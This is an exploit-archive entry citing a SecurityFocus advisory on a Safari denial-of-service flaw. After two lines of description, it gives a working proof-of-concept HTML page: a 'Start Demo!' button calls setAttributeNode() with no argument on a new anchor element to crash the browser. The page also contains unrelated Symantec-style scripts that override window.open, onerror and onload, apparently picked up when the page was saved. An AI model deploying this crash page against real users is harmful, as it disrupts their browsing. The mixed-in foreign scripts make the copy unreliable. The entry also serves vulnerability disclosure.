source: https://www.securityfocus.com/bid/18822/info

Apple Safari web browser is prone to a denial-of-service vulnerability when parsing certain malformed DHTML elements.

An attacker can exploit this issue to crash an affected browser.

<script language="JavaScript">
<!--

function SymError()
{
  return true;
}

window.onerror = SymError;

var SymRealWinOpen = window.open;

function SymWinOpen(url, name, attributes)
{
  return (new Object());
}

window.open = SymWinOpen;

//-->
</script>

<script>

// MoBB Demonstration
function Demo() {
	var a = document.createElement("a");
	a.setAttributeNode();
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>


</body></html>

<script language="JavaScript">
<!--
var SymRealOnLoad;
var SymRealOnUnload;

function SymOnUnload()
{
  window.open = SymWinOpen;
  if(SymRealOnUnload != null)
     SymRealOnUnload();
}

function SymOnLoad()
{
  if(SymRealOnLoad != null)
     SymRealOnLoad();
  window.open = SymRealWinOpen;
  SymRealOnUnload = window.onunload;
  window.onunload = SymOnUnload;
}

SymRealOnLoad = window.onload;
window.onload = SymOnLoad;

//-->
</script>